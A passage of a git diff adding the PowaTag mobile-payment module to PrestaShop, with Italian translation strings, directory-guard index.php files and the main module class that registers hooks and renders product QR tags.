+$_MODULE['<{powatag}prestashop>powatagabstract_e011198578b1ae960342b303d3d5c2b2'] = 'Il trasportatore non consegna con questa modalità di spedizione nella zona identificata: %s'; +$_MODULE['<{powatag}prestashop>powatagabstract_3b81f574e1cfb038c32361cc1431e468'] = 'questo paese non è attivo: %s'; +$_MODULE['<{powatag}prestashop>powatagabstract_ae7bdef7fe2bbbbf02c11e92c5fceb40'] = 'Il mio indirizzo'; +$_MODULE['<{powatag}prestashop>powatagabstract_3d615e26976c2f23933af88b4ce43ee0'] = 'Impossibile salvare indirizzo'; +$_MODULE['<{powatag}prestashop>powatagabstract_bbae52e092604ba1cda2b4bc8a063dcc'] = 'Prodotto con ID'; +$_MODULE['<{powatag}prestashop>powatagabstract_d6106a1a6739dae160e5405d29cc2515'] = 'Impossibile spedire con il trasportatore'; +$_MODULE['<{powatag}prestashop>powatagabstract_3d162f24d66e8bc04fc47e544f04afda'] = 'Errore nella creazione dell’ordine. Errore nel pagamento'; +$_MODULE['<{powatag}prestashop>powatagorders_ae7bdef7fe2bbbbf02c11e92c5fceb40'] = 'Il mio indirizzo'; +$_MODULE['<{powatag}prestashop>powatagorders_8b63d66d9bd835fab8d3c6920223b788'] = 'Impossibile salvare carrello'; +$_MODULE['<{powatag}prestashop>powatagorders_28dc8144703a06441d53f75f43ef2e02'] = 'L’importo totale non è corretto rispetto al totale degli altri %s != %s'; +$_MODULE['<{powatag}prestashop>powatagorders_86b20dbaccb5bf057a36efecb62a8b46'] = 'Il totale parziale non è corretto: %s != %s'; +$_MODULE['<{powatag}prestashop>powatagorders_7b9f2e8e6fae51b7be5ad8760c6f5aa0'] = 'Errore nel costo di spedizione: %s'; +$_MODULE['<{powatag}prestashop>powatagorders_c5b67a8f795189ab70cc416e3ab3c260'] = 'il costo totale di spedizione non è corretto: %s != %s'; +$_MODULE['<{powatag}prestashop>powatagorders_e372d89f8f97be9e67f77cf3bcd4a705'] = 'L’imposta totale non è corretta: %s != %s'; +$_MODULE['<{powatag}prestashop>powatagorders_4c7490ad9d07138986300c3cab26ee84'] = 'Questo prodotto non esiste: %s'; +$_MODULE['<{powatag}prestashop>powatagorders_d3ec7632d605da9da12880dd25ac1af1'] = 'Valuta non trovata: %s'; +$_MODULE['<{powatag}prestashop>powatagorders_30bee8c9919a19866a702119b87d62f8'] = 'Questa variante non esiste: %s'; +$_MODULE['<{powatag}prestashop>powatagorders_01d8561901fe857fa3fefe4e04b5e4b0'] = 'Non disponibile in magazzino'; +$_MODULE['<{powatag}prestashop>powatagorders_24297a992eeaa67461e0810b574637e7'] = 'Quantità > Stock disponibile'; +$_MODULE['<{powatag}prestashop>powatagorders_7c404c6dc9d5101160daedc54bb07f94'] = 'Quantità < quantità minima prodotto'; +$_MODULE['<{powatag}prestashop>powatagorders_4940b40ec57c6c1ab3085e456749fe33'] = 'Prodotto non trovato in richiesta'; +$_MODULE['<{powatag}prestashop>powatagpayment_7e1f29db22516a463851d83869df888d'] = 'Il carrello non esiste: %s'; +$_MODULE['<{powatag}prestashop>powatagpayment_61e2a09916061f758bc138cc06ec2fc1'] = 'Il carrello è già stato associato all’ordine: %s'; +$_MODULE['<{powatag}prestashop>powatagpayment_ed87c7d12f5fc7a8d37ae428129cc972'] = 'Il cliente non esiste: %s'; +$_MODULE['<{powatag}prestashop>powatagpayment_42ce4411cce8bc80e8cb34facb207af1'] = 'Le informazioni inviate nella richiesta non sono identiche a quelle salvate: %s != %s'; +$_MODULE['<{powatag}prestashop>powatagpayment_87ec24c2297667f006fd93f366bf5731'] = 'Nessuna transazione trovata per ID carrello: %s, ID dispositivo: %s e IP: %s'; +$_MODULE['<{powatag}prestashop>powatagpayment_b80452c7eecae1e25698a9d048f0cdf7'] = 'Troppe transazioni per ID carrello: %s, ID dispositivo: %s e IP: %s'; +$_MODULE['<{powatag}prestashop>powatagpayment_898245a24e6e82c984bd0b608c5a2df9'] = 'Questa valuta non è abilitata: %s'; +$_MODULE['<{powatag}prestashop>powatagpayment_169b50f4120aad3aae328d95fe4eed0a'] = 'L’importo pagato non è uguale a quello indicato nel carrello'; +$_MODULE['<{powatag}prestashop>powatagproduct_dfbe69c6d9568ecb0e65e7b32ed92a3a'] = 'Prodotto non trovato'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_cec2ab5f5e872165e2fadfe47ad6caf5'] = 'Impostazioni API'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_d876ff8da67c3731ae25d8335a4168b4'] = 'Chiave API'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_5e6272bf893cb3e9b30325de7680b50f'] = 'Chiave HMAC'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_aa73b594a1643685059a18052c47240b'] = 'URL Powatag Endpoint'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_75498e1de8ec9cc2a0bff6a88559e203'] = 'URL Head JavaScript'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_6271949874757bc88acf8ec10392b66f'] = 'URL Head CSS'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_c9cc8cce247e49bae79f15173ce97354'] = 'Salva'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_a8ad8ed0d7a57bafaf4fa86fda0dd87f'] = 'Altre impostazioni'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_49ffd9480effff979143d2e8d38931c4'] = 'Modalità di spedizione'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_814f3c633592e84c3306559ad32ef13f'] = 'Questo sarà usato per calcolare i costi di spedizione'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_d62da80ff71a1c32b8d2fcb20c0cb590'] = 'Messaggio di operazione riuscita'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_64387aaed0905c364b9c99a72f2dc4d6'] = 'Tipo di immagine da inviare'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_3821c92eff2643b0d1ccdce26d2e8e48'] = 'Impostazioni prodotto'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_28646b1a68c193c494d2545a98244db6'] = 'Codice QR abilitato'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_9d7c35eae1f19aeffe139811562785ea'] = 'Posizione del codice QR'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_7d05de6987fe0d3d6be0587b79fc40f8'] = 'Mostra Prodotto in Colonna Destra'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_fe9bcf5ddcc758d90dbe308c4f8464a1'] = 'Mostra Prodotto in Colonna Sinistra'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_78f9be9df64534c305e01071626b727b'] = 'Mostra Prodotto a fondo pagina'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_79fec8d09ca8a2663db327907a910247'] = 'Mostra Tasti Prodotto'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_94225f5cdacf7fee6667ca2320fb2f60'] = 'Quale campo SKU usare'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_9441356559f394a164fb218c062062fb'] = 'EAN13 o JAN'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_fbd99ad01b92dbafc686772a39e3d065'] = 'UPC'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_97f08a40f22a625d0cbfe03db3349108'] = 'ID Prodotto'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_dcd320d017d7f3c317bc8b234287bc9f'] = 'RIFERIMENTO'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_b2d37ae1cedf42ff874289b721860af2'] = 'Registri'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_7ecd779747d06dafaee221f238ed589d'] = 'Abilita logging applicativo'; +$_MODULE['<{powatag}prestashop>adminpowatagconfigurationcontroller_af555d1ba76534facadfda02cb4dfc32'] = 'Abilita registrazione richieste'; +$_MODULE['<{powatag}prestashop>adminpowataglogscontroller_c7892ebbb139886662c6f2fc8c450710'] = 'Oggetto'; +$_MODULE['<{powatag}prestashop>adminpowataglogscontroller_ec53a8c4f07baed5d8825072c89799be'] = 'Stato'; +$_MODULE['<{powatag}prestashop>adminpowataglogscontroller_4c2a8fe7eaf24721cc7a9f0175115bd4'] = 'Messaggio'; +$_MODULE['<{powatag}prestashop>adminpowataglogscontroller_44749712dbec183e983dcd78a7736c41'] = 'Data'; +$_MODULE['<{powatag}prestashop>confirmation_0958fcb29b03400b76302dd0b596fbdc'] = 'Ordine confermato'; +$_MODULE['<{powatag}prestashop>confirmation_a305f3e6321cb9eb1f18bf5c87b7031e'] = 'È stato creato un ordine.'; +$_MODULE['<{powatag}prestashop>confirmation_f270d0f895e1a199348e3551e599a7e5'] = 'Per contattare il rivenditore per l’ordine, usare il seguente riferimento:'; +$_MODULE['<{powatag}prestashop>confirmation_c26f2cf30d8249ad6aec8df5aa74124a'] = 'Lo stato dell’ordine è:'; +$_MODULE['<{powatag}prestashop>confirmation_0d2039b495b0b5597c87fb9bb6a5f51e'] = 'È possibile visitare il negozio cliccando'; +$_MODULE['<{powatag}prestashop>confirmation_6c92285fa6d3e827b198d120ea3ac674'] = 'qui'; +$_MODULE['<{powatag}prestashop>error_840e8d20484ff502ee269c0c1300f3f1'] = 'Errore nell’ordine'; +$_MODULE['<{powatag}prestashop>error_a0cf19753cf8fe49411fd29aa784c00c'] = 'Non è possibile vedere i dettagli di questo ordine'; +$_MODULE['<{powatag}prestashop>error_9d680c117d486f9800a2976a8b05396e'] = 'Fai il login per vedere i dettagli'; +$_MODULE['<{powatag}prestashop>powatag_configuration_after_ac270e0ae57b00050f2b5ba120b18a18'] = 'Per qualsiasi problema o domanda, scarica il nostro'; +$_MODULE['<{powatag}prestashop>powatag_configuration_after_6a94efad08e2e7aabc153e876e802bab'] = 'http://fe-dev.powaweb.io/pdf/usermanual.pdf'; +$_MODULE['<{powatag}prestashop>powatag_configuration_after_0509dd4c9789b13b11b0bff117733dcd'] = 'Manuale per l’Utente'; +$_MODULE['<{powatag}prestashop>powatag_configuration_after_0cba8d49a8a98ef657bc69a557b2706d'] = 'o inviaci un’email'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_0cba8d49a8a98ef657bc69a557b2706d'] = 'o inviaci un’email'; +$_MODULE['<{powatag}prestashop>powatag_configuration_after_14e4528f297758292a40b524ece9b6b3'] = 'powatagmerchantsupport@powa.com'; +$_MODULE['<{powatag}prestashop>powatag_configuration_after_40c416816ff65e1a16216f1a2da3d18b'] = 'Consulta PrestaShop'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_c164ac045c418625b802f488348bf1f9'] = 'PowaTag'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_402943003b4d9defc16907111b856cea'] = 'Caratteristiche di PowaTag'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_eae4c1349d155e57ebd1a9a245b0fb32'] = 'Aumenta i tassi di conversione delle tue vendite via dispositivi mobili e online'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_91f421e886e0ba5b1c0af34d59f7b82f'] = 'Vendi ovunque, in qualsiasi momento'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_86da54f80878ca6e218a7e406421b8fa'] = 'Abilita l’acquisto con un tocco'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_dcc37a2b01e7801aa3977932c4156471'] = 'Soluzione omnicanale che ti apre nuovi canali di vendita'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_03df362d5faff9da8b9652f02dfda111'] = 'Stimola, incentiva e ricompensa la fedeltà del cliente'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_af5cc364997a1cd395df3a8fda09657a'] = 'http://www.youtube.com/embed/or0L7UnaP6g?controls=0&showinfo=0&rel=0'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_20efc8190821a61d58d97c83049401cc'] = 'Per ulteriore assistenza'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_6a94efad08e2e7aabc153e876e802bab'] = 'http://fe-dev.powaweb.io/pdf/usermanual.pdf'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_0dd9fefe4bff9426aa6dd15c0584d627'] = 'Clicca qui per scaricare il Manuale per l’Utente PowaTag'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_9c888c824690ff560b1687b38717cf23'] = 'Libertà commerciale è conoscere i tuoi clienti'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_577fbd7945527a7b0fa3a9e476745fc5'] = 'PowaTag è una nuova fantastica soluzione per il commercio via dispositivi mobili che integra senza soluzione di continuità l’esperienza fisica e online trasformando il futuro dello shopping e della tua azienda.'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_920da8ddc3c22ea3851c9340c33e2d85'] = 'Anello mancante del retail, PowaTag unisce la gratificazione istantanea dello shopping nel mondo reale con la velocità, la comodità e la natura informativa della vendita via internet.'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_d35794e5cd4be0b9122cd72555752ff3'] = 'PowaTag abilita il pagamento tramite dispositivo mobile integrandosi direttamente con la piattaforma PrestaShop e le infrastrutture di pagamento esistenti. ​'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_fe6e051c947bc1d83dc517c40e77e211'] = 'I vantaggi di PowaTag'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_1abebfaa4e85e8e543aa4e4915b0556c'] = 'Offrire al consumatore un’esperienza di acquisto senza soluzione di continuità tramite tutti i canali'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_2c81c0a4b7aea4e294d8107a5511f887'] = 'Permetti ai clienti di acquistare direttamente dalle tue pagine sui prodotti'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_e416e30c539b333f32fea0d8a43aed48'] = 'Permetti ai clienti di scaricare il tuo catalogo ed acquistare liberamente tramite il loro dispositivo mobile'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_b1754d32d5ee8d0cc66ada82f252e249'] = 'Sperimenta una soluzione omnicanale che apre veramente nuovi canali di vendita generando nuovi introiti'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_e2477c3fa77712a6afd77d301c9a20a3'] = 'Vendi direttamente ed istantaneamente dalla pubblicità online, dalle emissioni radio-TV e dalla stampa'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_66ed003633283ca1b951be9e452b6cb9'] = 'Interagisci con i clienti stimolando, incentivando e ricompensando la loro fedeltà e generando azione'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_241373fa154f2de622a7da1a4d039e53'] = 'Agevola e sostieni gli acquisti d’impulso semplificando l’esperienza di acquisto nei flussi di lavoro esistenti dell’e-commerce'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_31c7b87204d32cfd398ad981c1239d41'] = 'http://www.powatag.com/page/prestashop'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_c00fde11f32c833a28ae11fc2946effe'] = 'Registrati subito'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_0ec0305a18fce08b3072b1b46798ff6f'] = 'Hai domande?'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_f77ac1dfc7cf26a6b01b360d2a1107a1'] = 'Visita il nostro sito web'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_7d9c1812de1eccf1d6b76fdb9a07181d'] = 'http://powatag.com'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_e9722ba4751b57282ba6e3374f1fed04'] = 'powatag.com'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_d00f40e027fbd995c688ae37ae7ac47c'] = 'powatagmerchantsupport@powa.com'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_40c416816ff65e1a16216f1a2da3d18b'] = 'Consulta PrestaShop'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_e7ffe6b99f2d5266561bec82d84d26b7'] = 'Ti sei registrato ed hai accettato i nostri Termini e Condizioni?'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_79c4e0eba4751d82643ba740e8f9ce6d'] = 'Per cominciare a fare transazioni con i tuoi clienti passa ad un account PowaTag live'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_c61908d15e20a46ffb4f79ebd339f106'] = 'contattandoci'; +$_MODULE['<{powatag}prestashop>powatag_configuration_before_45008cd336e20c82ef4ccf1cd040aecf'] = 'Usa le informazioni che ti abbiamo dato durante il processo di registrazione PowaTag per compilare i campi sottostanti'; diff --git a/modules/powatag/js/index.php b/modules/powatag/js/index.php new file mode 100644 index 0000000..ef35956 --- /dev/null +++ b/modules/powatag/js/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/powatag/logo.png b/modules/powatag/logo.png new file mode 100644 index 0000000..8b49248 Binary files /dev/null and b/modules/powatag/logo.png differ diff --git a/modules/powatag/powatag.php b/modules/powatag/powatag.php new file mode 100644 index 0000000..5fc3848 --- /dev/null +++ b/modules/powatag/powatag.php @@ -0,0 +1,435 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined ('_PS_VERSION_')) + exit; + +class PowaTag extends PaymentModule { + + /** + * Module link in BO + * @var String + */ + private $_link; + const EAN = 1; + const UPC = 2; + const PRODUCT_ID = 3; + const REFERENCE = 4; + + /** + * Constructor of module + */ + public function __construct() + { + $this->name = 'powatag'; + $this->tab = 'mobile'; + $this->version = '1.0.6'; + $this->author = '202-ecommerce'; + + + parent::__construct(); + + $this->includeFiles(); + + $this->displayName = $this->l('PowaTag'); + $this->description = $this->l('PowaTag, the one touch payment solution that increases your online & mobile conversions'); + + if (self::isInstalled($this->name) && self::isEnabled($this->name)) + $this->upgrade(); + + } + + private function includeFiles() + { + $path = $this->getLocalPath().'classes/'; + + foreach (scandir($path) as $class) + { + if (is_file($path.$class)) + { + $class_name = Tools::substr($class, 0, -4); + //Check if class_name is an existing Class or not + if (!class_exists($class_name, false) && $class_name != 'index') + require_once($path.$class_name.'.php'); + } + } + + $path .= 'helper/'; + + foreach (scandir($path) as $class) + { + if (is_file($path.$class)) + { + $class_name = Tools::substr($class, 0, -4); + //Check if class_name is an existing Class or not + if (!class_exists($class_name, false) && $class_name != 'index') + require_once($path.$class_name.'.php'); + } + } + } + + /** + * Module install + * @return boolean if install was successfull + */ + public function install() + { + // Install default + if (!parent::install()) + return false; + + // Uninstall DataBase + if (!$this->installSQL()) + return false; + + // Install tabs + if (!$this->installTabs()) + return false; + + // Registration hook + if (!$this->registrationHook()) + return false; + + //Install default configs + $configs = array( + 'POWATAG_SKU' => Powatag::PRODUCT_ID, + ); + foreach ($configs as $config => $value) + Configuration::updateValue($config, $value); + + return true; + } + + /** + * Upgrade if necessary + */ + public function upgrade() + { + $cfgName = Tools::strtoupper($this->name.'_version'); + $version = Configuration::get($cfgName); + + if ($version === false || version_compare($version, $this->version, '<')) + Configuration::updateValue($cfgName, $this->version); + } + + /** + * Module uninstall + * @return boolean if uninstall was successfull + */ + public function uninstall() + { + // Uninstall DataBase + if (!$this->uninstallSQL()) + return false; + + // Delete tabs + if (!$this->uninstallTabs()) + return false; + + + //Delete configuration + $configs = array( + 'POWATAG_API_LOG', + 'POWATAG_REQUEST_LOG', + 'POWATAG_SKU', + 'POWATAG_QR_POS', + 'POWATAG_QR', + 'POWATAG_IMG_TYPE', + 'POWATAG_SUCCESS_MSG', + 'POWATAG_SHIPPING', + 'POWATAG_CSS_URL', + 'POWATAG_JS_URL', + 'POWATAG_GENERATOR_URL', + 'POWATAG_HMAC_KEY', + 'POWATAG_API_KEY', + 'POWATAG_REDIRECT', + 'POWATAG_OFFER', + 'POWATAG_LANG', + 'POWATAG_TYPE', + 'POWATAG_STYLE', + 'POWATAG_COLORSCHEME', + 'POWATAG_DISPLAY', + 'POWATAG_VIDEO', + 'POWATAG_DEBUG', + ); + foreach ($configs as $config) + Configuration::deleteByName($config); + // Uninstall default + if (!parent::uninstall()) + return false; + + + + return true; + } + + /** + * Initialisation to install / uninstall + */ + private function installTabs() + { + $menu_id = -1; + + $controllers = scandir(dirname(__FILE__).'/controllers/admin'); + foreach ($controllers as $controller) + { + if (is_file(dirname(__FILE__).'/controllers/admin/'.$controller) && $controller != 'index.php') + { + require_once(dirname(__FILE__).'/controllers/admin/'.$controller); + $controller_name = Tools::substr($controller, 0, -4); + if (class_exists($controller_name)) + { + if (method_exists($controller_name, 'install')) + call_user_func(array($controller_name, 'install'), $menu_id, $this->name); + } + } + } + + return true; + + } + + /** + * Delete tab + * @return boolean if successfull + */ + public function uninstallTabs() + { + PowatagTotAdminTabHelper::deleteAdminTabs($this->name); + return true; + } + + public function initToolbar() + { + $toolbar_btn = array(); + $toolbar_btn['configuration'] = array( + 'href' => $this->context->link->getAdminLink('AdminPowaTagConfiguration'), + 'desc' => $this->l('Configuration'), + 'imgclass' => 'edit' + ); + + $toolbar_btn['logs'] = array( + 'href' => $this->context->link->getAdminLink('AdminPowaTagLogs'), + 'desc' => $this->l('Logs'), + 'imgclass' => 'preview', + ); + + return $toolbar_btn; + } + + /** + * Install DataBase table + * @return boolean if install was successfull + */ + private function installSQL() + { + $classes = scandir(dirname(__FILE__).'/classes'); + foreach ($classes as $class) + { + if (is_file(dirname(__FILE__).'/classes/'.$class)) + { + $class_name = Tools::substr($class, 0, -4); + if (class_exists($class_name)) + { + if (method_exists($class_name, 'install')) + call_user_func(array($class_name, 'install')); + } + } + } + + return true; + } + + /** + * Uninstall DataBase table + * @return boolean if install was successfull + */ + private function uninstallSQL() + { + $classes = scandir(dirname(__FILE__).'/classes'); + foreach ($classes as $class) + { + if (is_file(dirname(__FILE__).'/classes/'.$class)) + { + $class_name = Tools::substr($class, 0, -4); + if (class_exists($class_name)) + { + if (method_exists($class_name, 'uninstall')) + call_user_func(array($class_name, 'uninstall')); + } + } + } + + return true; + } + + /** + * [registrationHook description] + * @return [type] [description] + */ + private function registrationHook() + { + if (!$this->registerHook('displayHeader') + || !$this->registerHook('displayRightColumnProduct') + || !$this->registerHook('displayLeftColumnProduct') + || !$this->registerHook('displayFooterProduct') + || !$this->registerHook('displayProductButtons') + || !$this->registerHook('actionCarrierUpdate') + || !$this->registerHook('displayMobileAddToCartTop') + || !$this->registerHook('displayMobileHeader') + ) + return false; + + return true; + } + + + public function hookdisplayMobileHeader() + { + return $this->hookDisplayHeader(); + } + + public function hookDisplayHeader() + { + if ($this->context->smarty->getTemplateVars('page_name') == 'product') + { + $product = new Product((int)Tools::getValue('id_product'), true, (int)$this->context->language->id); + + if ($product_sku = PowaTagProductHelper::getProductSKU($product)) + { + $this->context->controller->addJS(Configuration::get('POWATAG_JS_URL')); + $this->context->smarty->assign(array( + 'powatag_css_url' => Configuration::get('POWATAG_CSS_URL') + )); + return $this->display(__FILE__, 'powatag_header.tpl'); + } + } + } + + public function hookDisplayProductButtons() + { + if (!Configuration::get('POWATAG_QR') || Configuration::get('POWATAG_QR_POS') != 'displayProductButtons') + return false; + + if (!version_compare(_PS_VERSION_, 1.6, '<')) + $this->context->controller->addCSS($this->getPathUri().'css/powatag.css'); + + return $this->generateTag(); + } + + public function hookdisplayRightColumnProduct() + { + if (!Configuration::get('POWATAG_QR') || Configuration::get('POWATAG_QR_POS') != 'displayRightColumnProduct') + return false; + + return $this->generateTag(); + } + + public function hookDisplayMobileAddToCartTop() + { + if (!Configuration::get('POWATAG_QR')) + return false; + + return $this->generateTag(); + } + + public function hookdisplayLeftColumnProduct() + { + if (!Configuration::get('POWATAG_QR') || Configuration::get('POWATAG_QR_POS') != 'displayLeftColumnProduct') + return false; + + return $this->generateTag(); + } + + public function hookdisplayFooterProduct() + { + if (!Configuration::get('POWATAG_QR') || Configuration::get('POWATAG_QR_POS') != 'displayFooterProduct') + return false; + + return $this->generateTag(); + } + + public function hookactionCarrierUpdate($params) + { + if ($params['carrier'] instanceof Carrier && Validate::isLoadedObject($params['carrier'])) + { + if (Configuration::get('POWATAG_SHIPPING') == $params['id_carrier']) + Configuration::updateValue('POWATAG_SHIPPING', $params['carrier']->id); + } + } + + private function generateTag() + { + $product = new Product((int)Tools::getValue('id_product'), true, (int)$this->context->language->id); + + if ($product_sku = PowaTagProductHelper::getProductSKU($product)) + { + $lang = Configuration::get('POWATAG_LANG'); + if ($lang == "site") { + // convert "en-us" to "en_US" + $lang = $this->context->language->language_code; + $lang = str_replace("-", "_", $lang); + $alang = explode("_", $lang); + if (count($alang)==2) { + $lang = strtolower($alang[0]) . "_" . strtoupper($alang[1]); + } + } + + $datas = array( + 'powatagApi' => Configuration::get('POWATAG_API_KEY'), + 'productSku' => PowaTagProductHelper::getProductSKU($product), + 'powatagGeneratorURL' => Configuration::get('POWATAG_GENERATOR_URL'), + 'powatagRedirect' => Configuration::get('POWATAG_REDIRECT'), + 'powatagOffer' => Configuration::get('POWATAG_OFFER'), + 'powatagLang' => $lang, + 'powatagType' => Configuration::get('POWATAG_TYPE'), + 'powatagStyle' => Configuration::get('POWATAG_STYLE'), + 'powatagColorscheme' => Configuration::get('POWATAG_COLORSCHEME'), + 'powatagDisplay' => Configuration::get('POWATAG_DISPLAY'), + 'powatagVideo' => Configuration::get('POWATAG_VIDEO')?"true":"false", + 'powatagDebug' => Configuration::get('POWATAG_DEBUG')?"true":"false", + ); + + $this->context->smarty->assign($datas); + + return $this->display(__FILE__, 'product.tpl'); + } + } + + + /** + * Admin display + * @return String Display admin content + */ + public function getContent() + { + Tools::redirectAdmin($this->context->link->getAdminLink('AdminPowaTagConfiguration')); + } + +} + +?> diff --git a/modules/powatag/translations/de.php b/modules/powatag/translations/de.php new file mode 100644 index 0000000..e69de29 diff --git a/modules/powatag/translations/en.php b/modules/powatag/translations/en.php new file mode 100644 index 0000000..e69de29 diff --git a/modules/powatag/translations/index.php b/modules/powatag/translations/index.php new file mode 100644 index 0000000..ef35956 --- /dev/null +++ b/modules/powatag/translations/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/powatag/translations/it.php b/modules/powatag/translations/it.php new file mode 100644 index 0000000..e69de29 diff --git a/modules/powatag/translations/nl.php b/modules/powatag/translations/nl.php new file mode 100644 index 0000000..e69de29 diff --git a/modules/powatag/translations/pl.php b/modules/powatag/translations/pl.php new file mode 100644 index 0000000..e69de29 diff --git a/modules/powatag/views/index.php b/modules/powatag/views/index.php new file mode 100644 index 0000000..ef35956 --- /dev/null +++ b/modules/powatag/views/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/powatag/views/templates/admin/index.php b/modules/powatag/views/templates/admin/index.php new file mode 100644 index 0000000..ef35956 --- /dev/null +++ b/modules/powatag/views/templates/admin/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/powatag/views/templates/front/confirmation.tpl b/modules/powatag/views/templates/front/confirmation.tpl new file mode 100644 index 0000000..5ccb268 --- /dev/null +++ b/modules/powatag/views/templates/front/confirmation.tpl @@ -0,0 +1,36 @@ +{* +* 2007-2015 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your 